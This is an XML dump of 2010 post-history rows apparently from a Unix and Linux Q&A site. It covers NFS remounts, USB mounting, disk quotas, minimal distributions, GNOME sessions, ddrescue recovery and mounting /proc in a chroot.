  <row Id="8437" PostHistoryTypeId="2" PostId="3905" RevisionGUID="eb03218c-d031-4bc4-ae82-7e02269d4b58" CreationDate="2010-11-10T07:51:33.757" UserId="1338" Text="I've had `rsnapshot` working under Slackware 13.0 for a few months.  In my `/etc/rsnapshot_&lt;interval&gt;` scripts I first have it run is `mount -o remount,rw` then the very last thing it does is a `mount -o remount,ro`.  The reason behind this is to protect my backups from accidental deletion by making them read-only whenever they are not actively being created.&#xD;&#xA;&#xD;&#xA;When I upgraded to 13.1 this `-o remount` functionality seems to have either disappeared or broken:&#xD;&#xA;&#xD;&#xA;    # mount -t nfs&#xD;&#xA;    192.168.1.5:/slackware on /slackware type nfs (rw,addr=192.168.1.5)&#xD;&#xA;    # mount -o remount,ro /slackware&#xD;&#xA;    mount.nfs: an incorrect mount option was specified&#xD;&#xA;&#xD;&#xA;Does anybody have a proposed solution to remedy this?&#xD;&#xA;" />
  <row Id="8438" PostHistoryTypeId="1" PostId="3905" RevisionGUID="eb03218c-d031-4bc4-ae82-7e02269d4b58" CreationDate="2010-11-10T07:51:33.757" UserId="1338" Text="Can't get the '-o remount' option on an NFS share to work in Slackware 13.1" />
  <row Id="8439" PostHistoryTypeId="3" PostId="3905" RevisionGUID="eb03218c-d031-4bc4-ae82-7e02269d4b58" CreationDate="2010-11-10T07:51:33.757" UserId="1338" Text="élinuxàénfsàéslackwareà" />
  <row Id="8440" PostHistoryTypeId="5" PostId="3187" RevisionGUID="0b71bbcb-34eb-4148-b84a-bed83b5e8a87" CreationDate="2010-11-10T09:06:05.137" UserId="653" Comment="deleted 1 characters in body" Text="Hello,&#xD;&#xA;I had the exact same problem with my Fedora installation, and the solution is quite simple : partitions. Since I have created a /home partition, I format / but all my preferences for every program are staying. Just separate your data from your system with partition, and on reinstall, make sure to format only /, and specify your home partition as mounted on /home.&#xD;&#xA;Have fun!" />
  <row Id="8441" PostHistoryTypeId="2" PostId="3906" RevisionGUID="7c736b2f-ebac-4880-a016-0ef2b2e12b34" CreationDate="2010-11-10T10:08:15.870" UserId="2344" Text="Hello experts,&#xD;&#xA;&#xD;&#xA;I have a Cruzer disk on key which was recognized automatically by my RedHat6-beta OS.&#xD;&#xA;&#xD;&#xA;I removed it always using the GUI option &quot;Safely remove&quot;, but one time by mistake I selected &quot;Eject&quot; and from then it is not recognized.&#xD;&#xA;&#xD;&#xA;I tried to mount it according to some Google's results, including editing the fstab file - no success.&#xD;&#xA;&#xD;&#xA;Does someone have an idea how to solve that?&#xD;&#xA;&#xD;&#xA;Thank you all in advance." />
  <row Id="8442" PostHistoryTypeId="1" PostId="3906" RevisionGUID="7c736b2f-ebac-4880-a016-0ef2b2e12b34" CreationDate="2010-11-10T10:08:15.870" UserId="2344" Text="How to mount a disk on key on Red-Hat 6 (Beta) after ejecting it" />
  <row Id="8443" PostHistoryTypeId="3" PostId="3906" RevisionGUID="7c736b2f-ebac-4880-a016-0ef2b2e12b34" CreationDate="2010-11-10T10:08:15.870" UserId="2344" Text="éusbàémountàérhelàéautomountingà" />
  <row Id="8444" PostHistoryTypeId="5" PostId="3865" RevisionGUID="00a32a9d-c529-4c99-8efc-8f314d745ce4" CreationDate="2010-11-10T10:55:48.230" UserId="2134" Comment="Requested output, but now resolved anyway" Text="**Resolved**: See &quot;However&quot; at the end of the question for details.&#xD;&#xA;&#xD;&#xA;I've managed to hose my login to a Unix box. I don't have an easy way of contacting the administrator, so I'd like to resolve it myself ideally. I don't have root access (that would be too easy).&#xD;&#xA;&#xD;&#xA;Per the title, I've managed to create a large file through an app spamming stdout, which I now can't remove. `rm -f` doesn't work, nor does `cat /dev/null &gt;| $file`, nor `truncate -s 0 $file`. Errors are akin to the following, for everything I've tried.&#xD;&#xA;&#xD;&#xA;    tr08[~]$ cat /dev/null &gt;| wordlist.txt&#xD;&#xA;    -bash: wordlist.txt: Disk quota exceeded&#xD;&#xA;&#xD;&#xA;Output from `quota` is unhelpful:&#xD;&#xA;&#xD;&#xA;    tr08[~]$ quota -v&#xD;&#xA;    Disk quotas for user meand (uid 8650):&#xD;&#xA;         Filesystem  blocks   quota   limit   grace   files   quota   limit   grace&#xD;&#xA;    tau:/uspac/mc10/m10mr&#xD;&#xA;                           0       0       0               0       0       0&#xD;&#xA;&#xD;&#xA;I'm at a loss on what to do next. Google only gave me `truncate` and `cat \dev\null`, so any advice or suggestion would be gratefully received.&#xD;&#xA;&#xD;&#xA;Output requested in the comments:&#xD;&#xA;&#xD;&#xA;    tr08[~]$ uname -a&#xD;&#xA;    Linux tr08.ecs 2.6.30.10-106a.fc11.x86_64 #1 SMP Tue Sep 21 11:11:58 BST 2010 x86_64 x86_64 x86_64 GNU/Linux&#xD;&#xA;    tr08[~]$ mount | grep /m08ad&#xD;&#xA;    tau:/uspac/mc10/m10mr on /auto/complb/m10mr type nfs (rw,nosuid,intr,sloppy,addr=163.1.88.228)&#xD;&#xA;&#xD;&#xA;**However**: I'm not sure what happened, but when I logged in to get the details Gilles requested in the comments, I tried an `rm`, which worked just fine. `quota -v` is now producing no output, either. I've no idea whether this is due to some admin intervention or some other cunning trickery, but it all appears sorted now." />
  <row Id="8445" PostHistoryTypeId="2" PostId="3907" RevisionGUID="26b9f12d-457a-40b8-9388-f1d579b8f86d" CreationDate="2010-11-10T12:16:57.273" UserId="688" Text="I'm looking for recommendations for something easy to use that will allow me to edit my images. I fiddled with Inkspace and GIMP and found them not so intuitive (I don't want to have to read a manual to know how to draw a border around some part of the image)." />
  <row Id="8446" PostHistoryTypeId="1" PostId="3907" RevisionGUID="26b9f12d-457a-40b8-9388-f1d579b8f86d" CreationDate="2010-11-10T12:16:57.273" UserId="688" Text="easy-to-use image-editing FLOSS" />
  <row Id="8447" PostHistoryTypeId="3" PostId="3907" RevisionGUID="26b9f12d-457a-40b8-9388-f1d579b8f86d" CreationDate="2010-11-10T12:16:57.273" UserId="688" Text="érecommendedà" />
  <row Id="8448" PostHistoryTypeId="2" PostId="3908" RevisionGUID="9dc3b870-33c5-41a3-b4dc-c789a8e70dfc" CreationDate="2010-11-10T12:17:25.680" UserId="2344" Text="Got it after all.&#xD;&#xA;&#xD;&#xA;First - run `dmesg` command -- a new SCSI device is recognized (usually sdb1). Then `mount /dev/sdb1 &lt;mount point&gt;`.&#xD;&#xA;&#xD;&#xA;Hope that it will help someone." />
  <row Id="8449" PostHistoryTypeId="2" PostId="3909" RevisionGUID="3240a30f-978a-4778-a1c7-c911b593a4fc" CreationDate="2010-11-10T13:58:10.433" UserId="658" Text="    stop@hammertime:~&gt; touch /this&#xD;&#xA;    touch: cannot touch &quot;/this&quot;: Permission denied" />
  <row Id="8450" PostHistoryTypeId="2" PostId="3910" RevisionGUID="0d572dd1-8c0e-4bf8-844a-2455a6f2470c" CreationDate="2010-11-10T15:04:37.740" UserId="1941" Text="I need an extendable Linux distribution which I can easily reduce in size so much that it fits into a 64 mb CF card. &#xD;&#xA;&#xD;&#xA;In this stripped version it will run on a Via C7 and needed is Kernel, networking, a shell, basic perl and a ftp server. There are some distributions for embedded systems which can do this, however I have the requirement that it should be possible to to expand this set in the future, e.g. to a basic X setup or python instead of perl etc. &#xD;&#xA;&#xD;&#xA;Which distribution do you know which can do this? Can any one of the major distributions like Fedora, Debian, Ubuntu be stripped down so much?" />
  <row Id="8451" PostHistoryTypeId="1" PostId="3910" RevisionGUID="0d572dd1-8c0e-4bf8-844a-2455a6f2470c" CreationDate="2010-11-10T15:04:37.740" UserId="1941" Text="Which minimal but extendable Linux distribution to choose" />
  <row Id="8452" PostHistoryTypeId="3" PostId="3910" RevisionGUID="0d572dd1-8c0e-4bf8-844a-2455a6f2470c" CreationDate="2010-11-10T15:04:37.740" UserId="1941" Text="édistrosàéembeddedàédistributionöchoiceà" />
  <row Id="8453" PostHistoryTypeId="2" PostId="3911" RevisionGUID="214930d6-655e-4ed9-9978-97a845bb490a" CreationDate="2010-11-10T15:17:10.193" UserId="279" Text="Try [Pinta][1], its interfaces is pretty close to MS paint's.&#xD;&#xA;&#xD;&#xA;  [1]: http://pinta-project.com/" />
  <row Id="8454" PostHistoryTypeId="2" PostId="3912" RevisionGUID="4deff8ae-89cf-4c88-a263-d40dd423c62a" CreationDate="2010-11-10T15:26:54.967" UserId="2049" Text="I am in the middle of a project where I repeatedly have to stop X11 to debug.  I stop with [ctrl]+[alt]+F1 then login and &#xD;&#xA;&#xD;&#xA;    $ sudo /etc/init.d/gdm stop&#xD;&#xA;&#xD;&#xA;Then I go about my debugging.  then restart gdm with &#xD;&#xA;&#xD;&#xA;    $ sudo /etc/init.d/gdm start&#xD;&#xA;&#xD;&#xA;and I get back the login screen when I login yet again, and execute &quot;users&quot; and get back&#xD;&#xA;&#xD;&#xA;    $ users&#xD;&#xA;    aredd aredd aredd aredd&#xD;&#xA;&#xD;&#xA;making me think that my I'm still logged in form the first time, the terminal without gnome, gnome again, and another instance.  If my old gnome session is still logged in how do I resume that session instead of starting a new one?" />
  <row Id="8455" PostHistoryTypeId="1" PostId="3912" RevisionGUID="4deff8ae-89cf-4c88-a263-d40dd423c62a" CreationDate="2010-11-10T15:26:54.967" UserId="2049" Text="How to resume a gnome session?" />
  <row Id="8456" PostHistoryTypeId="3" PostId="3912" RevisionGUID="4deff8ae-89cf-4c88-a263-d40dd423c62a" CreationDate="2010-11-10T15:26:54.967" UserId="2049" Text="égnomeàéloginàéx11à" />
  <row Id="8457" PostHistoryTypeId="2" PostId="3913" RevisionGUID="e89804f2-a0e0-411d-9c3d-6811e15a12da" CreationDate="2010-11-10T15:29:33.763" UserId="146" Text="As described in the &amp;ldquo;*Loading Settings Automatically*&amp;rdquo; section of [the nvidia-settings(1) man page][1] you can save the `nvidia-settings` configuration to a user config file and then call nvidia-settings to load it automatically from your `.xinitrc`, `.xsession`, or whatever your desktop session startup uses.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/nvidia-settings &quot;nvidia-settings(1) Linux man page&quot;" />
  <row Id="8458" PostHistoryTypeId="2" PostId="3914" RevisionGUID="90364102-8fb1-4c2b-9238-3e8f473fd243" CreationDate="2010-11-10T15:36:50.613" UserId="2180" Text="It could be that you already had the fglrx (ATI proprietary) driver installed, and what you just installed is the open source driver. The open source driver is generally slower than the proprietary driver.&#xD;&#xA;&#xD;&#xA;It could also be the reverse - if the open-source driver was compiled with DRI (direct rendering infrastructure) support but the fglrx driver was not, it can be slower." />
  <row Id="8459" PostHistoryTypeId="2" PostId="3915" RevisionGUID="abd4988d-71a3-4e9b-ad3a-5f872ef1093d" CreationDate="2010-11-10T15:48:59.720" UserId="1593" Text="If dragging windows is laggy (scrolling is probably fine), it usually means you're on software rendering and you didn't install those drivers properly." />
  <row Id="8460" PostHistoryTypeId="2" PostId="3916" RevisionGUID="5a3a30e5-6ed3-411b-91d2-903a2d5f5f5a" CreationDate="2010-11-10T16:34:45.867" UserId="1294" Text="Quoth the manual:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; The `gnome-session-save program` can be used from a GNOME session to save&#xD;&#xA;&gt; a snapshot of the currently running applications. This session will be&#xD;&#xA;&gt; later restored at your next GNOME session.&#xD;&#xA;&#xD;&#xA;Is that what you are looking for? From your question it is unclear if you are concerned about saving the state or of truly logging out your gdm.&#xD;&#xA;" />
  <row Id="8461" PostHistoryTypeId="2" PostId="3917" RevisionGUID="b90ec9cb-d2af-41f8-a87c-8f07ad7d5e5f" CreationDate="2010-11-10T16:39:10.807" UserId="1294" Text="[Damn Small Linux][1] is the only off-the-shelf 50MB distribution that I know of.&#xD;&#xA;&#xD;&#xA;It is vaguely debian-ish so one [can use `apt`][2] and friends if needed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.damnsmalllinux.org/&#xD;&#xA;  [2]: http://webcache.googleusercontent.com/search?q=cache:h0L2lOkrNFUJ:www.damnsmalllinux.org/wiki/index.php/Apt-get+damn+small+linux+org+wiki+index+php+Apt+get&amp;cd=1&amp;hl=en&amp;ct=clnk&amp;gl=us" />
  <row Id="8462" PostHistoryTypeId="5" PostId="3910" RevisionGUID="b216d81b-7b53-45fc-b674-a51e5cab26c3" CreationDate="2010-11-10T18:41:45.350" UserId="1941" Comment="added 166 characters in body" Text="I need an extendable Linux distribution which I can easily reduce in size so much that it fits into a 64 mb CF card. &#xD;&#xA;&#xD;&#xA;In this stripped version it will run on a Via C7 and needed is Kernel, networking, a shell, basic perl and a ftp server. There are some distributions for embedded systems which can do this, however I have the requirement that it should be possible to to expand this set in the future, e.g. to a basic X setup or python instead of perl etc. &#xD;&#xA;&#xD;&#xA;Which distribution do you know which can do this? Can any one of the major distributions like Fedora, Debian, Ubuntu be stripped down so much?&#xD;&#xA;&#xD;&#xA;Edit: I looked at Embedded Debian which seems pretty close to what I need. Sadly, development seems to have stalled due to health problems of the main maintainer." />
  <row Id="8463" PostHistoryTypeId="6" PostId="3907" RevisionGUID="1e16d712-691e-419e-bbbf-9602d191ce72" CreationDate="2010-11-10T18:57:00.913" UserId="885" Comment="edited tags" Text="ésoftwareörecàépicturesàéimageöeditorà" />
  <row Id="8467" PostHistoryTypeId="6" PostId="422" RevisionGUID="610ddb7b-a52a-4fe4-97c6-97246870bc85" CreationDate="2010-11-10T19:13:43.180" UserId="885" Comment="edited tags" Text="éversionöcontrolàébooksàésubversionà" />
  <row Id="8468" PostHistoryTypeId="6" PostId="80" RevisionGUID="8252ebf3-d07e-4551-af69-9f7130a13579" CreationDate="2010-11-10T19:13:57.160" UserId="885" Comment="edited tags" Text="élinuxàébooksà" />
  <row Id="8469" PostHistoryTypeId="6" PostId="2094" RevisionGUID="17da5eec-6f77-482a-9894-10f755e60460" CreationDate="2010-11-10T19:14:12.743" UserId="885" Comment="edited tags" Text="émonoàécñàébooksà" />
  <row Id="8470" PostHistoryTypeId="6" PostId="3906" RevisionGUID="8050bc9e-4e38-4bf9-ae11-07f91a7516a2" CreationDate="2010-11-10T19:20:06.973" UserId="885" Comment="edited tags" Text="éusbàémountàérhelàéejectà" />
  <row Id="8471" PostHistoryTypeId="2" PostId="3919" RevisionGUID="52a5f02b-4906-4e8a-bd58-9165edc7806b" CreationDate="2010-11-10T19:31:10.363" UserId="885" Text="Depending on your distribution's startup scripts, and perhaps on what you're doing to your X server, stopping the gdm service may or may not kill the X display and the programs running on it.&#xD;&#xA;&#xD;&#xA;The easiest way to kill your X server is to press `&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Backspace&lt;/kbd&gt;`. If that X server is running in a virtual machine, make sure you send the key combination to the VM and not to the host (e.g. under VirtualBox, press Host+&lt;kbd&gt;Backspace&lt;/kbd&gt;). This will kill your session and typically will give you a login prompt as gdm restarts the X server. Make sure you don't have the `DontZap` option in your `xorg.conf` (it disables `&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Backspace&lt;/kbd&gt;`; it's off by default).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8472" PostHistoryTypeId="6" PostId="3912" RevisionGUID="f1b5d43f-83b0-4755-ac4d-729dd6169d29" CreationDate="2010-11-10T19:31:31.610" UserId="885" Comment="edited tags" Text="égnomeàéloginàéx11àégdmà" />
  <row Id="8474" PostHistoryTypeId="2" PostId="3920" RevisionGUID="a8c85a16-02f6-4dcc-ad92-f3df2446ccd4" CreationDate="2010-11-10T20:09:57.503" UserId="2613" Text="Like everyone said, yes swap will help you get rid of unused memory, so it can help you having more memory available.&#xD;&#xA;&#xD;&#xA;But swap can also be used for **hibernating** which can be really useful when you have a laptop or want to save energy and put your computer and works in hibernation before leaving work. So you can have a quicker start the morning after.&#xD;&#xA;&#xD;&#xA;Having a hibernating function is one of the main reason we still see nowadays advise to have at least the size of RAM for the swap. That way the system can put all used RAM into the swap and goes into hibernation." />
  <row Id="8475" PostHistoryTypeId="2" PostId="3921" RevisionGUID="6e5f6f38-44ea-4b76-90a1-cb159944146f" CreationDate="2010-11-10T21:17:34.090" UserId="665" Text="Does anyone know if there is a way to make a shortcut for amarok2 that would put focus on search collection box in amarok2? I couldn't find it anywhere...&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;ps - mods, please add tags: amarok2, shortcut&#xD;&#xA;" />
  <row Id="8476" PostHistoryTypeId="1" PostId="3921" RevisionGUID="6e5f6f38-44ea-4b76-90a1-cb159944146f" CreationDate="2010-11-10T21:17:34.090" UserId="665" Text="Amarok2 &quot;Search Collection&quot; shortcut?" />
  <row Id="8477" PostHistoryTypeId="3" PostId="3921" RevisionGUID="6e5f6f38-44ea-4b76-90a1-cb159944146f" CreationDate="2010-11-10T21:17:34.090" UserId="665" Text="ésearchà" />
  <row Id="8478" PostHistoryTypeId="2" PostId="3922" RevisionGUID="1a6e4d0b-f8bd-4fa2-9f5b-02206141ac28" CreationDate="2010-11-10T21:18:47.013" UserId="393" Text="when installed :&#xD;&#xA;&#xD;&#xA;    fortune&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8479" PostHistoryTypeId="2" PostId="3923" RevisionGUID="598287a8-6ca0-4a0e-89e8-5e3d7c13a330" CreationDate="2010-11-10T21:53:27.503" UserId="885" Text="Let's check a few figures for mainstream distributions (i386 binaries):&#xD;&#xA;&#xD;&#xA;* Debian lenny: `cdebootstrap -f minimal lenny lenny-minimal` produces 77MB. Add ~30MB for the package lists. About 9MB is documentation (`/usr/share/doc`, `/usr/share/man`), and about 25MB is locale data; you can remove these (but upgrades will bring the files back). This includes a minimal Perl setup (add 29MB for the standard library). There's no editor (add 2MB for nvi or nano), and no ssh daemon (add 17MB for OpenSSH, 11MB for lsh). Basic FTP daemons start under 1MB.&#xD;&#xA;* [NetBSD 5.1](ftp://ftp.fr.netbsd.org/pub/NetBSD/NetBSD-5.1/i386/binary/sets) starts at about 84MB (about 33MB in a tar.gz) for a kernel plus the base system, which includes a comprehensive network suite (ftpd, sshd, postfix, ...), an X server, but no perl or X client. There's no documentation, but about 10MB of locales.&#xD;&#xA;* [OpenBSD 4.8](ftp://ftp.de.openbsd.org/pub/OpenBSD/4.8/i386/) starts at about 160MB (about 60MB in a tar.gz) for a kernel plus the base system (including perl with the full standard library, but no X server). There are smaller OpenBSD distributions such as [Flashdist](http://www.nmedia.net/flashdist/), though none looks up-to-date.&#xD;&#xA;&#xD;&#xA;Going by the BSD figures, compression lets you fit about 120MB of programs in about 50MB of raw storage. At a 250% gain, you're definitely going to want compression. Under Linux, you have a few choices of read-write compressed filesystems, in particular [Jffs2](http://en.wikipedia.org/wiki/JFFS2). I don't know what the possibilities are under *BSD. If you have a lot of RAM, you don't need to depend on kernel support for a compressed filesystem, you can have a tar.gz or 7z archive that you uncompress into RAM at boot time.&#xD;&#xA;&#xD;&#xA;There is a wide range of small Linux distributions, from single floppies to live CDs. You'd want something in the middle. [Damn Small Linux](http://www.damnsmalllinux.org/) and [Puppy Linux](http://puppylinux.org/) are two popular choices; both run from RAM, and you'll need to remaster Puppy to take away stuff you don't need (the main distribution is too big for you).&#xD;&#xA;" />
  <row Id="8480" PostHistoryTypeId="6" PostId="3921" RevisionGUID="e124d96d-5724-4d91-b5de-f922d0a5e038" CreationDate="2010-11-10T21:57:05.037" UserId="885" Comment="edited tags" Text="ékeyboardöshortcutsàéamarokà" />
  <row Id="8481" PostHistoryTypeId="6" PostId="3921" RevisionGUID="52364a5a-8225-43a7-a990-3fd845ff45a8" CreationDate="2010-11-10T22:40:35.067" UserId="665" Comment="edited tags" Text="ékeyboardöshortcutsàésearchàéamarokà" />
  <row Id="8482" PostHistoryTypeId="5" PostId="3921" RevisionGUID="994bff7c-db31-495a-b895-7ed77b64c510" CreationDate="2010-11-10T22:51:01.200" UserId="73" Comment="deleted 117 characters in body" Text="Is there a way to make a shortcut for amarok2 that would put focus on the search collection box?&#xD;&#xA;" />
  <row Id="8483" PostHistoryTypeId="2" PostId="3924" RevisionGUID="4006af18-52e6-459a-8b26-1a8e010c878c" CreationDate="2010-11-11T00:46:26.180" UserId="1898" Text="can't you just CTRL-ALT and then hit F-x keys until you get back to GNOME? that's what i do.&#xD;&#xA;&#xD;&#xA;On my ubuntu machine CTRL-ALT-F7 gets me back to my gnome session." />
  <row Id="8484" PostHistoryTypeId="2" PostId="3925" RevisionGUID="a9a12c20-fd14-4f63-8279-15dbf5a71e0f" CreationDate="2010-11-11T02:34:56.103" UserId="226" Text="I am using a ubuntu live cd to help me recover some data off of a hard drive. I use lshw -C disk to find out which device I need to copy, /dev/sda in this case.&#xD;&#xA;&#xD;&#xA;I am using ddrescue -n to try and recover some data from a failing hard drive.  It stops at 100GB of a 500GB hard drive. After it finishes lshw -C disk does not print anything.&#xD;&#xA;&#xD;&#xA;The next step in usind ddrescue is to use ddrescue -r 1 /dev/sda but it reports there is no such file and or directory.&#xD;&#xA;&#xD;&#xA;What is going on why is lshw failing to report anything?" />
  <row Id="8485" PostHistoryTypeId="1" PostId="3925" RevisionGUID="a9a12c20-fd14-4f63-8279-15dbf5a71e0f" CreationDate="2010-11-11T02:34:56.103" UserId="226" Text="&quot;lshw -C disk&quot; returns but prints nothing" />
  <row Id="8486" PostHistoryTypeId="3" PostId="3925" RevisionGUID="a9a12c20-fd14-4f63-8279-15dbf5a71e0f" CreationDate="2010-11-11T02:34:56.103" UserId="226" Text="éubuntuàédataörecoveryàélivecdàéddà" />
  <row Id="8487" PostHistoryTypeId="5" PostId="3912" RevisionGUID="5be0bbf3-1798-4d17-8243-322cc4ca8d33" CreationDate="2010-11-11T02:35:00.593" UserId="73" Comment="added 29 characters in body" Text="I am in the middle of a project where I repeatedly have to stop X11 to debug.  I stop with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F1&lt;/kbd&gt; then login and &#xD;&#xA;&#xD;&#xA;    $ sudo /etc/init.d/gdm stop&#xD;&#xA;&#xD;&#xA;Then I go about my debugging.  then restart gdm with &#xD;&#xA;&#xD;&#xA;    $ sudo /etc/init.d/gdm start&#xD;&#xA;&#xD;&#xA;and I get back the login screen when I login yet again, and execute &quot;users&quot; and get back&#xD;&#xA;&#xD;&#xA;    $ users&#xD;&#xA;    aredd aredd aredd aredd&#xD;&#xA;&#xD;&#xA;making me think that my I'm still logged in form the first time, the terminal without gnome, gnome again, and another instance.  If my old gnome session is still logged in how do I resume that session instead of starting a new one?" />
  <row Id="8488" PostHistoryTypeId="5" PostId="3919" RevisionGUID="71f9b637-fb10-4c75-ae46-e152956dc642" CreationDate="2010-11-11T02:35:27.193" UserId="73" Comment="deleted 4 characters in body" Text="Depending on your distribution's startup scripts, and perhaps on what you're doing to your X server, stopping the gdm service may or may not kill the X display and the programs running on it.&#xD;&#xA;&#xD;&#xA;The easiest way to kill your X server is to press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Backspace&lt;/kbd&gt;. If that X server is running in a virtual machine, make sure you send the key combination to the VM and not to the host (e.g. under VirtualBox, press Host+&lt;kbd&gt;Backspace&lt;/kbd&gt;). This will kill your session and typically will give you a login prompt as gdm restarts the X server. Make sure you don't have the `DontZap` option in your `xorg.conf` (it disables &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Backspace&lt;/kbd&gt;; it's off by default).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8489" PostHistoryTypeId="5" PostId="3924" RevisionGUID="d6e0cb5b-82ed-42f6-a836-03cf844731d1" CreationDate="2010-11-11T02:35:58.443" UserId="73" Comment="added 55 characters in body" Text="Can't you just &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt; and then hit F-x keys until you get back to GNOME? That's what I do.&#xD;&#xA;&#xD;&#xA;On my ubuntu machine &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;F7&lt;/kbd&gt; gets me back to my gnome session." />
  <row Id="8490" PostHistoryTypeId="5" PostId="3925" RevisionGUID="d3a52dd0-bfc7-43d0-b015-e76c11601d68" CreationDate="2010-11-11T02:37:46.493" UserId="73" Comment="added 14 characters in body" Text="I am using an ubuntu live cd to help me recover some data off of a hard drive. I used `lshw -C disk` to find out which device I need to copy, `/dev/sda` in this case.&#xD;&#xA;&#xD;&#xA;I am using `ddrescue -n` to try and recover some data from a failing hard drive.  It stops at 100GB of a 500GB hard drive. After it finishes `lshw -C disk` does not print anything.&#xD;&#xA;&#xD;&#xA;The next step in using `ddrescue` is to use `ddrescue -r 1 /dev/sda`, but it reports there is no such file or directory.&#xD;&#xA;&#xD;&#xA;What is going on; why is `lshw` failing to report anything?" />
  <row Id="8491" PostHistoryTypeId="5" PostId="1885" RevisionGUID="757aef71-d4f8-45e3-94ec-2dfe140881d9" CreationDate="2010-11-11T03:46:00.907" UserId="1327" Comment="deleted 9 characters in body" Text="Microsoft is not the answer. Microsoft is the question. NO (or Linux) is the answer.&#xD;&#xA;&#xD;&#xA;- taken from [here](http://www.linuxweb.com/lw_quotes.html)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ man woman  &#xD;&#xA;    No manual entry for woman&#xD;&#xA;" />
  <row Id="8492" PostHistoryTypeId="2" PostId="3926" RevisionGUID="14a7e0aa-b952-4283-b8f3-3a4667eb85bd" CreationDate="2010-11-11T06:03:22.263" UserId="688" Text="I'm basically looking for FLOSS that displays which processes are using how much bandwidth, similar to how `top` displays which processes use how much resources." />
  <row Id="8493" PostHistoryTypeId="1" PostId="3926" RevisionGUID="14a7e0aa-b952-4283-b8f3-3a4667eb85bd" CreationDate="2010-11-11T06:03:22.263" UserId="688" Text="Network monitoring tool." />
  <row Id="8494" PostHistoryTypeId="3" PostId="3926" RevisionGUID="14a7e0aa-b952-4283-b8f3-3a4667eb85bd" CreationDate="2010-11-11T06:03:22.263" UserId="688" Text="ésoftwareörecàémonitoringà" />
  <row Id="8496" PostHistoryTypeId="5" PostId="3611" RevisionGUID="c449b630-c051-4a30-aa11-e8a91d529e85" CreationDate="2010-11-11T08:05:32.207" UserId="73" Comment="added 4 characters in body" Text="I find that using pv in this manner works well for that purpose&#xD;&#xA;&#xD;&#xA;    pv -p file1 &gt; file2" />
  <row Id="8497" PostHistoryTypeId="5" PostId="3570" RevisionGUID="ae9ea461-0a8e-423d-80fe-a53f172c1f7d" CreationDate="2010-11-11T08:05:48.913" UserId="73" Comment="added 9 characters in body; added 53 characters in body; edited tags" Text="How can I get `cron` to run a python script as root? Here is my crontab file:&#xD;&#xA;&#xD;&#xA;    0 * * * * ./twitter/twitter.py&#xD;&#xA;&#xD;&#xA;Am I doing something wrong?&#xD;&#xA;" />
  <row Id="8498" PostHistoryTypeId="6" PostId="3570" RevisionGUID="ae9ea461-0a8e-423d-80fe-a53f172c1f7d" CreationDate="2010-11-11T08:05:48.913" UserId="73" Comment="added 9 characters in body; added 53 characters in body; edited tags" Text="écronàérootà" />
  <row Id="8499" PostHistoryTypeId="2" PostId="3927" RevisionGUID="62f1aafb-7030-4230-8cbf-e7bf561034e7" CreationDate="2010-11-11T09:31:40.907" UserId="2557" Text="Try running lshw as super user." />
  <row Id="8500" PostHistoryTypeId="12" PostId="3927" RevisionGUID="c23222d0-f297-4c34-9395-3377a0a0cc35" CreationDate="2010-11-11T09:32:12.810" UserId="2557" Text="[{&quot;Id&quot;:2557,&quot;DisplayName&quot;:&quot;Klark&quot;}]" />
  <row Id="8501" PostHistoryTypeId="2" PostId="3928" RevisionGUID="29267135-8685-4cc7-8869-6250231e7c4f" CreationDate="2010-11-11T11:15:50.013" UserId="2619" Text="Compare the following:&#xD;&#xA;&#xD;&#xA;    mount -t proc none ./my_chroot/proc&#xD;&#xA;&#xD;&#xA;and:&#xD;&#xA;&#xD;&#xA;    chroot ./mychroot mount -t proc none /proc" />
  <row Id="8502" PostHistoryTypeId="1" PostId="3928" RevisionGUID="29267135-8685-4cc7-8869-6250231e7c4f" CreationDate="2010-11-11T11:15:50.013" UserId="2619" Text="Are there any differences between mounting a /proc filesystem inside a chroot compared to mounting it from the outside?" />
  <row Id="8503" PostHistoryTypeId="3" PostId="3928" RevisionGUID="29267135-8685-4cc7-8869-6250231e7c4f" CreationDate="2010-11-11T11:15:50.013" UserId="2619" Text="éfilesystemsàésecurityàéchrootà" />
  <row Id="8504" PostHistoryTypeId="13" PostId="3927" RevisionGUID="64b75f1d-bb91-45d7-8b86-8edd41c91740" CreationDate="2010-11-11T11:54:51.760" UserId="2557" Text="[{&quot;Id&quot;:2557,&quot;DisplayName&quot;:&quot;Klark&quot;}]" />
  <row Id="8505" PostHistoryTypeId="2" PostId="3929" RevisionGUID="c59fd7a2-ad66-4300-8c8e-d0174df8f238" CreationDate="2010-11-11T13:27:29.727" UserId="885" Text="There are no differences with respect to the underlying kernel state.&#xD;&#xA;&#xD;&#xA;There is a minor difference with respect to the operation of the `mount` command: it keeps track of its actions in `/etc/mtab`, so running `mount` under `chroot` will update a different `mtab` file.&#xD;&#xA;&#xD;&#xA;You could also use `mount --bind /proc ./my_chroot/proc`. As far as I know, there is no practical difference between that and `mount -t none proc ./mychroot/proc`: you can mount the `proc` filesystem as many times as you like, and mount options are ignored. `mount --bind` will prevent you from unmounting the filesystem on `/proc` outside the chroot, but that should never happen anyway.&#xD;&#xA;&#xD;&#xA;As an aside, I would recommend `mount -r proc proc …/proc` because seeing `proc` in the device field in a `mtab` or in `/proc/mounts` is clearer than seeing `none`.&#xD;&#xA;" />
